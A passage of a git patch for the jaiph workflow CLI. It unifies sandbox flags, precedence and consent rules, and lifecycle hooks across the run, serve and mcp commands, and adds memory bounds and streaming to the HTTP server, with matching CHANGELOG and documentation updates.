integration/exec-policy.test.ts | 432 ++++++++++++++++++++++ src/cli/commands/mcp.ts | 53 +-- src/cli/commands/run.ts | 33 +- src/cli/commands/serve.ts | 43 +-- src/cli/exec/call.ts | 114 +++++- src/cli/run/env.ts | 23 ++ src/cli/run/hooks.ts | 73 ++-- src/cli/shared/generation-posture.test.ts | 145 ++++++++ src/cli/shared/generation.ts | 71 +++- src/cli/shared/usage.test.ts | 87 +++++ src/cli/shared/usage.ts | 85 ++++- 20 files changed, 1083 insertions(+), 165 deletions(-) create mode 100644 integration/exec-policy.test.ts create mode 100644 src/cli/shared/generation-posture.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 402a32f5..83749c31 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,6 +12,8 @@ ## All changes +- **Feat — one execution-policy contract across `jaiph run`, `jaiph serve`, and `jaiph mcp`:** the three commands now share a single flag surface, precedence order, consent model, and lifecycle-hook contract for the same execution engine, instead of `run` exposing sandbox flags while the long-lived servers required env vars and silently ignored anything they did not destructure (`jaiph serve --unsafe` and `jaiph mcp --inplace` parsed successfully but had **no effect**). **Shared flags:** `--workspace`, repeatable `--env KEY[=VALUE]`, `--inplace`, `--unsafe`, and `--yes`/`-y` mean the same thing in all three commands. `parseArgs` (`src/cli/shared/usage.ts`) now takes the invoking `command` and a `FLAG_COMMANDS` table maps each flag to the commands that accept it; a token that looks like a flag (`-…` before `--`) but belongs to another command is a **usage error that names the owner** (`--host is not a jaiph run flag (it belongs to jaiph serve)`), an unknown flag is rejected rather than swallowed as a positional (with a `jaiph run` hint to use `--` for dash-leading workflow args), and a bare `-` still stays positional. Display/transport options stay command-specific: `--target`/`--raw` remain `jaiph run` only, `--host`/`--port` remain `jaiph serve` only. **Precedence:** one documented order everywhere — CLI flags > `JAIPH_*` env vars > workflow runtime metadata > built-in defaults. A flag sets its `JAIPH_*` variable on the launched env for that process (`applySandboxFlags`, `src/cli/run/env.ts`), so the env layer stays the single source of truth sandbox resolution consumes. Contradictory posture is never resolved by precedence: `--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE` fails with **`E_FLAG_CONFLICT` before anything is spawned**, in all three commands. **Resolve-once posture:** `resolveStartupPosture` (`src/cli/shared/generation.ts`) applies the server's sandbox flags, resolves Docker enablement + sandbox mode + the unsafe-host-only gate **once at startup** into a `StartupPosture`, and the shared `logStartupPosture` prints one notice (wording — and the consent story it states — cannot drift between modes). That posture is threaded to every call as an `ExecutionPosture` (`src/cli/exec/call.ts`): `callWorkflow` applies the same `applySandboxFlags` env normalization as `jaiph run` and `callWorkflowDocker` applies the resolved sandbox mode **verbatim** instead of re-deriving it from each call's env. The documented standalone-container exception is preserved — inside a container the container/pod *is* the sandbox, the runtime image bakes `JAIPH_UNSAFE=true`, and unsafe host-only proceeds with a one-line notice. **Consent:** `jaiph run` confirms `--inplace` and unsafe-host-only interactively (`--yes`/`JAIPH_INPLACE_YES` auto-confirms; required non-TTY); for `jaiph serve` / `jaiph mcp`, launching the server with the flag or env var **is** the consent (no prompt), and `--yes`/`JAIPH_INPLACE_YES` is recorded on every call's env. **One hook contract:** the four lifecycle events (`workflow_start`, `step_start`, `step_end`, `workflow_end`) now fire for direct `jaiph run`, HTTP `jaiph serve` runs, and `jaiph mcp` tool calls alike. The `step_start`/`step_end` payload builders were extracted into `stepStartHookPayload`/`stepEndHookPayload` (`src/cli/run/hooks.ts`) and shared by the run emitter and by `callWorkflow`'s `buildStepEventHandler`, which is passed to `attachOutputCollector` on **both** the host and Docker call paths so hook dispatch cannot diverge; `hooks.json` is loaded per generation (`loadMergedHooks` in `loadGeneration`) and re-read on each source reload. Mode differences are now explicit rather than accidental: `jaiph run --raw` and `jaiph test` are documented no-hook lanes. As part of unifying the contract, `workflow_start` now carries the **run id** in `workflow_id` in every mode (direct runs previously emitted it empty). Tests: `integration/exec-policy.test.ts` (new — a table-driven suite runs the same sandbox/env cases through all three modes and asserts the same effective child env and filesystem isolation, that `serve --unsafe`/`serve --inplace`/`mcp --unsafe`/`mcp --inplace` have tested effects, that conflicting posture fails before spawning, and that all four lifecycle hooks fire with the documented payloads for direct/HTTP/MCP), `src/cli/shared/generation-posture.test.ts` (new — the flag → posture mapping with injected docker seams), `src/cli/shared/usage.test.ts` (per-command flag scoping — shared flags parse identically for run/serve/mcp, another command's flags and unknown flags are usage errors, `--` passthrough and bare `-` untouched, and `printUsage` documents the shared precedence + consent once), and `src/cli/commands/run.test.ts` (`E_FLAG_CONFLICT` for `--inplace --unsafe` and for `--inplace` + `JAIPH_UNSAFE=true`, no docker exec or spawn invoked). Docs: a new [Precedence](docs/env-vars.md#precedence) section and updated `JAIPH_INPLACE` / `JAIPH_INPLACE_YES` / `JAIPH_UNSAFE` / `--env` rows in [Environment variables](docs/env-vars.md), the shared flag tables + usage-error and resolve-once notes for `jaiph run` / `jaiph mcp` / `jaiph serve` in [CLI](docs/cli.md), the precedence layer + `E_FLAG_CONFLICT` note in [Configuration](docs/configuration.md#precedence), the "one contract, three invocation modes" section and the corrected `workflow_start` payload in [Add a hook](docs/hooks.md), the sandbox-flag/precedence notes in [Serve workflows as MCP tools](docs/mcp.md) and [Serve workflows over HTTP](docs/serve.md), the hook-dispatch contract line in [Architecture](docs/architecture.md), and the shared execution-policy section in `printUsage`. + - **Fix — make `jaiph serve` request, event, and artifact I/O scale with bytes transferred:** the HTTP layer still performed avoidable whole-resource work on four paths, all now proportional to the bytes actually moved. **Request bodies settle on abort:** `readBody` (`src/cli/serve/server.ts`) only settled on `end`/`error`, so a client destroyed mid-upload left the promise pending forever with its buffered chunks pinned; it now settles on premature `close`/`error` with `aborted: true`, the connection handler drops the request without invoking the router, and no run slot is ever occupied (the helper is exported for direct unit testing of the settlement contract). **Run-dir resolution is cached:** the events/artifacts endpoints located a still-running run by scanning the whole `.jaiph/runs` tree (`findRunDir`) on *every* SSE poll until finalize set `run_dir`; `ServeHandler.runDirFor` now caches the first resolver hit on the record (`RunRecord.resolvedRunDir`, never part of the public run object, evicted with the record), so one live SSE connection scans at most once no matter how long it follows. **Journals follow by fd + offset:** the SSE follower reread the entire `run_summary.jsonl` from disk on every 250 ms poll; the new `createJournalFollower` (`src/cli/serve/runfiles.ts`) holds an open file descriptor and a byte offset, reads only appended bytes with positional `readSync`, buffers a partial trailing line in memory instead of rereading it, and is closed in the stream's `finally` so a disconnect releases the fd. **Artifacts (and NDJSON journals) stream:** `GET /v1/runs/{id}/artifacts/{path}` loaded the complete file into memory (`readFileSync`) before responding; the handler now returns a `bodyFile` `{path, size}` that the HTTP layer pipes through `node:stream.pipeline` — backpressure pauses the read when the socket is congested, a client disconnect destroys the file stream, `content-length` is set from the stat and the read is pinned to it (`end: size - 1`) so an appending journal can't overrun the advertised length, and a multi-gigabyte artifact costs no server memory. The NDJSON `GET /v1/runs/{id}/events` path streams the journal the same way. An explicit size policy joins the streaming: `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap, since streaming already bounds memory) refuses larger artifacts with `413 E_ARTIFACT_TOO_LARGE`. Tests (each verified to fail against the pre-fix behavior): `src/cli/serve/server.test.ts` (readBody settles promptly on premature close; a destroyed mid-upload request occupies no run slot, never starts a workflow, and the server keeps serving; a 1 MiB artifact round-trips byte-identically through a real socket with `content-length`; a stalled 256 MiB download's file stream is destroyed when the client disconnects), `src/cli/serve/handler.test.ts` (a live SSE connection resolves the run dir with exactly one scan across many polls; the artifact cap returns 413 past the limit while smaller files stream; NDJSON/artifact responses carry `bodyFile` + `content-length`), `src/cli/serve/runfiles.test.ts` (an instrumented-`fs` SSE follow proves each appended journal byte is read exactly once and never before the current offset, and that no poll loads the journal whole; the follower completes a split line from its buffered tail), and `integration/serve-server.test.ts` (a 3 GiB sparse artifact streams to a real client with the serve process's RSS sampled below 1.5 GiB throughout — a buffering server would hold 3 GiB+). Docs: a streaming-download + `JAIPH_SERVE_MAX_ARTIFACT_BYTES` note in the artifact-download step of [Serve workflows over HTTP](docs/serve.md), the `JAIPH_SERVE_MAX_ARTIFACT_BYTES` row in [Environment variables](docs/env-vars.md), the artifact/events endpoint rows plus the `413 E_ARTIFACT_TOO_LARGE` error code and serve-limits bullet in [CLI](docs/cli.md#jaiph-serve), and the `jaiph serve` usage text. - **Fix — bound `jaiph serve` memory: per-run output caps, completed-run retention, and paginated listing:** `jaiph serve`'s concurrency cap limits *active* children but not process memory, so over a long-lived server an authenticated caller could exhaust it three ways — the in-memory run map grew forever, each completed run's `result_text` stayed resident forever, and a single run's raw stdout/stderr/`log` capture accumulated unbounded. All three are now bounded. **Per-run output caps:** a new `OutputCaps` (`src/cli/exec/call.ts`) threads a UTF-8 byte cap through the call layer; `attachOutputCollector` keeps per-stream byte counters and one-shot "cut" flags so stdout, stderr, and collected `log` output each stop accumulating at the cap, and `composeResult` caps the composed `result_text` as a final backstop. Overflow is dropped and replaced with a deterministic `TRUNCATION_MARKER` (`[jaiph: output truncated — exceeded the configured byte cap]`); the new `capBytes` helper slices on a byte boundary and drops a trailing partial multibyte char so the head stays valid UTF-8. `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) sets one value applied **independently** to each of the four channels. The default caps are effectively unbounded (`Number.MAX_SAFE_INTEGER` via `DEFAULT_OUTPUT_CAPS`), so `jaiph mcp` and direct callers are byte-for-byte unchanged — only `jaiph serve` passes finite caps. **Completed-run retention:** `ServeHandler.evictCompleted` (`src/cli/serve/handler.ts`), called after every finalize, drops terminal records past `JAIPH_SERVE_RETAIN_RUNS` (default `500`, oldest terminal `order` evicted first) and older than `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`; `0` disables age eviction). **Active (`running`) runs are never evicted**, and eviction removes only the in-memory record — the durable `run_summary.jsonl` journal and `artifacts/` on disk are untouched and remain the operator's to prune. **Bounded listing:** `GET /v1/runs` is now paginated via `?limit` (default `100`, clamped to `1000` by `clampInt`) and `?offset`, returning `{runs, total, limit, offset}`; a hostile `?limit=` can never widen the page past the maximum, so the response is never unbounded, and the monotonic unique `order` field keeps newest-first paging stable. The OpenAPI document (`src/cli/serve/openapi.ts`) gains the `limit`/`offset` parameters and the `total`/`limit`/`offset` response fields. `jaiph serve` startup parses the three env vars with a shared `intEnv` validator (a non-integer or out-of-range value prints a diagnostic to stderr and exits `1`) and logs the effective memory bounds plus the durable-artifact operator caveat. Tests: `src/cli/exec/call.test.ts` (`capBytes` verbatim vs. marked overflow and no U+FFFD split; `composeResult` caps a runaway success return and a runaway failure narrative; `attachOutputCollector` bounds stdout/stderr/logs each with a marker), `src/cli/serve/handler.test.ts` (count retention evicts only the oldest terminal records; an active run survives even past the budget; age retention evicts once past the window; pagination is bounded, newest-first stable, and reports `total`; `limit` is clamped to the maximum), and `e2e/tests/147_serve_http_api.sh` (`?limit=1` returns exactly one record while echoing the limit and full total). Concurrency, cancellation, SSE, and artifact tests continue to pass. Docs: a new [Bound memory over a long-lived server](docs/serve.md#8-bound-memory-over-a-long-lived-server) section in [Serve workflows over HTTP](docs/serve.md), the three `JAIPH_SERVE_*` rows in [Environment variables](docs/env-vars.md), and the paginated `GET /v1/runs` row plus a memory-bounds bullet in the `jaiph serve` section of [CLI](docs/cli.md#jaiph-serve). diff --git a/QUEUE.md b/QUEUE.md index 074dc18f..7d668a5e 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,27 +14,6 @@ Process rules: *** -## Use one execution-policy contract across run, serve, and MCP #dev-ready - -The shared parser accepts flags for every command, but commands silently ignore options they do not destructure. For example, `jaiph serve --unsafe` and `jaiph mcp --inplace` parse successfully but do not apply those flags. `run` exposes sandbox flags while long-lived modes require env vars, creating different mental models for the same execution engine. - -Scope: - -- Define shared options for `--workspace`, repeatable `--env`, `--inplace`, `--unsafe`, and `--yes`; support them consistently in `run`, `serve`, and `mcp`. -- Define and document one precedence order across CLI flags, `JAIPH_*` env vars, and workflow runtime metadata. -- Reject mutually exclusive posture and all command-specific unsupported flags as usage errors instead of treating or ignoring them as positionals. -- Resolve and print the effective sandbox posture once at server startup, then apply it to every call. Preserve the documented standalone-container exception where the container/pod is the sandbox. -- Decide and implement one lifecycle-hook contract for all three modes; mode differences must be explicit rather than caused by separate execution paths. -- Keep display-only options such as `--raw` and transport options such as `--host`/`--port` command-specific. - -Acceptance: - -- A table-driven integration suite runs the same sandbox/env cases through all three modes and observes the same effective child env and filesystem isolation. -- `serve --unsafe`, `serve --inplace`, `mcp --unsafe`, and `mcp --inplace` have tested effects; conflicting flags fail before spawning. -- Flags belonging to another command fail with a clear usage error. -- Hook tests prove the documented contract for direct, HTTP, and MCP invocations. -- Command help and env-var reference describe the same precedence and consent rules. - ## Give every run mode complete, bounded telemetry behavior #dev-ready Normal `jaiph run`, HTTP calls, and MCP calls invoke the shared OTLP/Sentry hook, but `jaiph run --raw` bypasses it while the docs claim every run is covered. OTLP and Sentry are awaited sequentially, so unavailable backends can hold a completed run and a service concurrency slot for up to 20 seconds despite being described as non-load-bearing. diff --git a/docs/architecture.md b/docs/architecture.md index be4444b7..2e10dc4e 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -187,7 +187,7 @@ Beyond those two boundaries (journal copies and returned call results), redactio ## Channels and hooks in context -Channels are validated at compile time (`validateReferences` / send RHS rules) and executed via in-memory queue and dispatch in the Node runtime; durable **`inbox/`** files under the run directory appear only for **routed** sends (audit — see [Inbox & Dispatch](inbox.md)). Hooks are CLI-only: they load from `hooks.json` and run as shell commands with JSON on stdin, driven by the same `__JAIPH_EVENT__` stream as the progress UI — see [Hooks](hooks.md). +Channels are validated at compile time (`validateReferences` / send RHS rules) and executed via in-memory queue and dispatch in the Node runtime; durable **`inbox/`** files under the run directory appear only for **routed** sends (audit — see [Inbox & Dispatch](inbox.md)). Hooks are CLI-only: they load from `hooks.json` and run as shell commands with JSON on stdin, driven by the same `__JAIPH_EVENT__` stream as the progress UI. One dispatch contract covers all three invocation modes — interactive `jaiph run` (via the run emitter) and `jaiph serve` / `jaiph mcp` calls (via `callWorkflow`'s shared event collector), with `jaiph run --raw` and `jaiph test` documented as no-hook lanes — see [Hooks](hooks.md). ## Test runner integration (`*.test.jh` in the kernel) diff --git a/docs/cli.md b/docs/cli.md index 148a2255..8b3244d4 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -49,7 +49,7 @@ Compile and execute a workflow's `default` entrypoint. jaiph run [--target ] [--raw] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... [--] [args...] ``` -Sandbox selection is environment-driven; there is no `--docker` flag. The boolean sandbox flags (`--inplace`, `--unsafe`, `--yes`) are CLI front-ends that mutate the launched runtime env for one run only — see [Configuration — Precedence](configuration.md#precedence) and [Environment variables](env-vars.md). +Sandbox selection is environment-driven; there is no `--docker` flag. The boolean sandbox flags (`--inplace`, `--unsafe`, `--yes`) are CLI front-ends that mutate the launched runtime env for one run only, and are shared verbatim with `jaiph serve` and `jaiph mcp` (one execution-policy contract; precedence: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults) — see [Configuration — Precedence](configuration.md#precedence) and [Environment variables — Precedence](env-vars.md#precedence). Flags belonging to another command (`--host`, `--port`) and unknown flags are usage errors, never positionals. ### Flags @@ -278,7 +278,7 @@ Implementation: re-invokes `JAIPH_INSTALL_COMMAND` (default `curl -fsSL https:// Serve a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio. See [Serve workflows as MCP tools](/how-to/mcp) for the recipe and client-registration steps. ```text -jaiph mcp [--workspace ] [--env KEY[=VALUE]]... +jaiph mcp [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... ``` `jaiph --mcp ` is an equivalent alias, dispatched after `compile` in `src/cli/index.ts`. @@ -287,8 +287,13 @@ jaiph mcp [--workspace ] [--env KEY[=VALUE]]... |---|---|---| | `--workspace` | `` | Workspace root for import resolution (default: auto-detected from the file's directory). A missing value or non-directory path aborts with a specific message. | | `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env` (same forms, validation, and reserved-key rejection), resolved once at startup and applied to **every** tool call for the server's lifetime. A bare `--env KEY` unset on the host aborts server startup with `E_ENV_MISSING`. In Docker mode the pairs cross the container boundary as explicit `-e` args bypassing the allowlist, exactly as for `jaiph run --env`. | +| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`: every tool call's Docker sandbox bind-mounts the host workspace read-write. Mutually exclusive with `--unsafe` (`E_FLAG_CONFLICT` at startup, before anything is spawned). No interactive prompt — launching the server with the flag (or env var) is the consent; the effective posture is printed once at startup and applied to every call. | +| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`: every tool call runs on the host with no sandbox. Same startup-consent model as `--inplace`. | +| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1` (recorded on every call's env; servers themselves never prompt). | | `-h`, `--help` | — | Print the subcommand usage and exit `0`. | +Flags that belong to another command (for example `--raw` or `--port`) are usage errors naming the owning command — never silently ignored. Precedence across layers is the shared execution-policy order: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults (see [Environment variables — Precedence](env-vars.md#precedence)). + ### Startup and exit behaviour - Loads the module graph and runs `collectDiagnostics` (the same compile-time pass as `jaiph compile`). Any diagnostic prints `file:line:col CODE message` lines to **stderr** and exits `1`. @@ -343,7 +348,7 @@ Tool descriptions come from the `#` comment lines directly above each workflow ( ### Execution and hot reload - Tool calls honor the same env-driven sandbox selection as `jaiph run` (`resolveDockerConfig`): Docker on macOS/Linux by default, host-only under `JAIPH_UNSAFE=true` or on Windows. The image is prepared once at startup (`checkDockerAvailable` + `prepareImage`), not per call. Run artifacts land under `.jaiph/runs/` exactly as for `jaiph run`. -- **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Set `JAIPH_INPLACE=1` to bind the real workspace read-write so tool effects land live (opt-in), or `JAIPH_UNSAFE=true` to run on the host with no sandbox. +- **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Pass `--inplace` (or set `JAIPH_INPLACE=1`) to bind the real workspace read-write so tool effects land live (opt-in), or `--unsafe` (`JAIPH_UNSAFE=true`) to run on the host with no sandbox. The posture is resolved and printed once at startup and applied to every call. - Source files in the module graph are watched (polling, ~750 ms). A valid edit re-derives tools and emits `notifications/tools/list_changed`; an edit that fails to compile keeps the previous tool set serving and logs diagnostics to stderr. - Calls bind to the generation (emitted scripts + serialized graph) live when they start; a superseded generation's scripts dir survives until its last in-flight call settles, so a call spanning a reload still runs its remaining steps — the same lease model `jaiph serve` uses for HTTP runs. @@ -353,7 +358,7 @@ Tool descriptions come from the `#` comment lines directly above each workflow ( Serve a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and an embedded Swagger UI. Same exposure rules and execution layer as `jaiph mcp`, over HTTP instead of stdio. See [Serve workflows over HTTP](/how-to/serve) for the recipe. ```text -jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... +jaiph serve [--host ] [--port ] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... ``` | Flag | Argument | Effect | @@ -362,9 +367,14 @@ jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]] | `--port` | `` | Listen port (default `5247`). `0` picks a free port. | | `--workspace` | `` | Workspace root for import resolution (default: auto-detected). | | `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env`, resolved once at startup and applied to every run for the server's lifetime. | +| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`: every run's Docker sandbox bind-mounts the host workspace read-write. Mutually exclusive with `--unsafe` (`E_FLAG_CONFLICT` at startup, before anything is spawned). No interactive prompt — launching the server with the flag (or env var) is the consent; the effective posture is printed once at startup and applied to every run. | +| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`: every run executes on the host with no sandbox. Same startup-consent model as `--inplace`. | +| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1` (recorded on every run's env; servers themselves never prompt). | | `-h`, `--help` | — | Print the subcommand usage and exit `0`. | -Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to stderr, exit `1`), one-time Docker image preparation, credential pre-flight as warnings, and a sandbox-mode notice. All logs go to stderr; one startup line prints the listen URL and the `/docs` URL. +Flags that belong to another command (for example `--raw` or `--target`) are usage errors naming the owning command — never silently ignored. Precedence across layers is the shared execution-policy order: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults (see [Environment variables — Precedence](env-vars.md#precedence)). + +Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to stderr, exit `1`), one-time Docker image preparation, credential pre-flight as warnings, and a sandbox-posture notice. All logs go to stderr; one startup line prints the listen URL and the `/docs` URL. ### Endpoints diff --git a/docs/configuration.md b/docs/configuration.md index 7bf43cae..3892b477 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -163,11 +163,12 @@ Checks are applied top to bottom; the first match wins. | Layer | Effect | |---|---| -| Environment (`JAIPH_DOCKER_*`) | Highest priority for `image`, `network`, `timeout`. | +| CLI flags (`--inplace`, `--unsafe`, `--yes` on `jaiph run` / `jaiph serve` / `jaiph mcp`) | Set the corresponding `JAIPH_*` variable on the launched env for that process, so the env layer below stays the single source of truth. | +| Environment (`JAIPH_DOCKER_*`, `JAIPH_UNSAFE`, `JAIPH_INPLACE`) | Highest env-layer priority for `image`, `network`, `timeout`, and sandbox posture. | | Module-level `config` (`runtime.*`) | Applies when no env override is set. | | Built-in defaults | Lowest priority. | -Workflow-level `config` cannot set `runtime.*` keys. +Workflow-level `config` cannot set `runtime.*` keys. Contradictory posture (`--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE`) is rejected with `E_FLAG_CONFLICT` before anything is spawned rather than resolved by precedence — see [Environment variables — Precedence](env-vars.md#precedence). ### Scoping across nested calls diff --git a/docs/env-vars.md b/docs/env-vars.md index fbb92d6a..ab349759 100644 --- a/docs/env-vars.md +++ b/docs/env-vars.md @@ -23,6 +23,17 @@ Symbols used below: The table below covers every `JAIPH_*` name read from `process.env` / `env` in `src/`. It is bidirectionally pinned by the docs-lint harness — a `JAIPH_*` name added or removed in source must be added or removed here in the same change. +### Precedence + +`jaiph run`, `jaiph serve`, and `jaiph mcp` share one execution-policy contract. For every policy input the resolution order is: + +1. **CLI flags** (`--workspace`, `--env`, `--inplace`, `--unsafe`, `--yes`) — a flag sets the corresponding `JAIPH_*` variable on that process's launched env, so the env layer below stays the single source of truth that sandbox resolution consumes. +2. **`JAIPH_*` environment variables** (this table). +3. **Workflow runtime metadata** — the entry file's `config { runtime { … } }` keys (for example `docker_image`, `docker_network`). +4. **Built-in defaults.** + +Contradictory posture is never resolved by precedence: `--inplace` / `JAIPH_INPLACE` together with `--unsafe` / `JAIPH_UNSAFE` fails with `E_FLAG_CONFLICT` before anything is spawned, in all three commands. Long-lived servers (`jaiph serve`, `jaiph mcp`) resolve the effective posture **once at startup**, print it, and apply it to every call; `jaiph run` resolves it per run. Consent rules: `jaiph run` confirms inplace / unsafe-host-only interactively (`--yes` / `JAIPH_INPLACE_YES` auto-confirms; required non-TTY); for `jaiph serve` / `jaiph mcp`, launching the server with the flag or env var **is** the consent (no prompt). Inside a container the container itself is the sandbox, so unsafe host-only proceeds with a one-line notice — the documented standalone posture of the runtime image. + | Variable | Scope | Type | Default | Related config | Role | @@ -52,8 +63,8 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_DOCKER_TIMEOUT` | host | int (seconds) | `14400` (4h) | `runtime.docker_timeout_seconds` | Container execution timeout. `0` disables. Invalid values produce `E_DOCKER_TIMEOUT`. | | `JAIPH_INBOX_MAX_DISPATCH` | runtime | int | `1000` | — | Maximum inbox messages a single workflow frame may drain before aborting with `E_INBOX_DISPATCH_LIMIT`. | | `JAIPH_INBOX_PARALLEL` | — | — | — | — | Unused — the runtime does not read this variable (tests assert setting it has no effect on inbox dispatch order). | -| `JAIPH_INPLACE` | host | bool (`1` / `true`) | `false` | — | Opt into inplace sandbox mode (host workspace bind-mounted read-write). Not forwarded into the container. | -| `JAIPH_INPLACE_YES` | host | bool (`1` / `true`) | `false` | — | Auto-confirm the destructive-edit prompt for **both** inplace and unsafe modes (`--yes` / `-y` is the flag form). Required when `JAIPH_INPLACE` **or** the unsafe host-only path (see `JAIPH_UNSAFE`) is active and stdin is not a TTY. Not forwarded into the container. | +| `JAIPH_INPLACE` | host | bool (`1` / `true`) | `false` | — | Opt into inplace sandbox mode (host workspace bind-mounted read-write). `--inplace` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_UNSAFE` / `--unsafe` (`E_FLAG_CONFLICT`). Not forwarded into the container. | +| `JAIPH_INPLACE_YES` | host | bool (`1` / `true`) | `false` | — | Auto-confirm the destructive-edit prompt for **both** inplace and unsafe modes (`--yes` / `-y` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp`). Required on `jaiph run` when `JAIPH_INPLACE` **or** the unsafe host-only path (see `JAIPH_UNSAFE`) is active and stdin is not a TTY. `jaiph serve` / `jaiph mcp` never prompt: launching the server with the posture flag or env var is the consent, and the effective posture is printed once at startup. Not forwarded into the container. | | `JAIPH_INSTALL_COMMAND` | host | string | `curl -fsSL https://jaiph.org/install \| bash` | — | Command `jaiph use` re-invokes to reinstall. | | `JAIPH_LIB` | host | path | — | — | Removed from the product. The CLI strips it from the launched env before each run. | | `JAIPH_META_FILE` | internal | path | — | — | Absolute path to the run-metadata file. Set on the detached workflow runner child; stripped from the parent env before launch. | @@ -89,7 +100,7 @@ The table below covers every `JAIPH_*` name read from `process.env` / `env` in ` | `JAIPH_SOURCE_FILE` | internal | string (basename) | entry-file basename | — | Used to name run directories. | | `JAIPH_STDLIB` | host | path | — | — | Removed from the product. Stripped from the launched env. | | `JAIPH_TEST_MODE` | runtime | bool (exact `"1"`) | `false` | — | Set by `jaiph test` so the runtime skips production-only branches (e.g. file-mode normalization). | -| `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the `jaiph run` flag form. When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox; see [Deploy](deploy.md). | +| `JAIPH_UNSAFE` | host | bool (`true` only) | `false` | — | Disable Docker for this run; execute on the host with **no sandbox** (entire filesystem and host environment visible to scripts and agent backends). `--unsafe` is the flag form on `jaiph run`, `jaiph serve`, and `jaiph mcp` (flag wins: it sets this variable for that process). Mutually exclusive with `JAIPH_INPLACE` / `--inplace` (`E_FLAG_CONFLICT`). When this turns Docker off while it would otherwise be on, `jaiph run` requires consent: a TTY warning + `Continue? [y/N]` (default no), or `JAIPH_INPLACE_YES` / `--yes` non-interactively (else `E_UNSAFE_NO_CONFIRM`). `jaiph serve` / `jaiph mcp` never prompt: launching the server with the flag or env var is the consent, and the effective posture is printed once at startup and applied to every call. No prompt when Docker is off for another reason (explicit `JAIPH_DOCKER_ENABLED=false`, Windows host-only override) or on `jaiph run --raw`. The `ghcr.io/jaiphlang/jaiph-runtime` image **bakes `JAIPH_UNSAFE=true`** so it can run standalone (`docker run … jaiph run flow.jh`, or as a k8s pod) — inside the image the container is the sandbox and unsafe host-only proceeds with a one-line notice; see [Deploy](deploy.md). | | `JAIPH_WORKSPACE` | host, runtime | path | autodetected | — | Workspace root. Inside Docker the host CLI overrides this to `/jaiph/workspace`. | @@ -115,7 +126,7 @@ The host CLI checks these before spawning the runner or container when [credenti Forwarding allowlist into the Docker container: `JAIPH_*` run-control keys (except `JAIPH_DOCKER_*`, `JAIPH_INPLACE`, and `JAIPH_INPLACE_YES`) plus the enumerated credential keys of the backends the entry file selects — `ANTHROPIC_API_KEY` and `CLAUDE_CODE_OAUTH_TOKEN` for `claude`, `CURSOR_API_KEY` for `cursor`, `OPENAI_API_KEY` for `codex`. Other variables in those families (for example `ANTHROPIC_BASE_URL` or `CLAUDE_CONFIG_DIR`) and everything else — including unrelated cloud credentials — are silently dropped; use `--env` below to forward one intentionally. See [Sandboxing](sandboxing.md). -To forward a variable outside the allowlist (for example `GITHUB_TOKEN` or `AWS_ACCESS_KEY_ID`) into a specific run, use the per-key **`--env`** flag on `jaiph run` / `jaiph mcp`: `--env KEY=VALUE` sets an exact value and `--env KEY` forwards the host's current value. In host mode `--env` defines the variable on the workflow process directly; in a Docker sandbox it crosses the boundary verbatim as an explicit `-e KEY=VALUE` container arg **bypassing the allowlist above** (the flag is the per-key consent), winning over any allowlist-forwarded value for the same key. A bare `--env KEY` unset on the host aborts with `E_ENV_MISSING` before anything is spawned; invalid names give `E_ENV_INVALID`; and the sandbox-control / runtime-managed keys the CLI owns (`JAIPH_UNSAFE`, `JAIPH_INPLACE`, `JAIPH_INPLACE_YES`, any `JAIPH_DOCKER_*`, `JAIPH_WORKSPACE`, `JAIPH_RUNS_DIR`, `JAIPH_RUN_ID`, `JAIPH_SCRIPTS`, 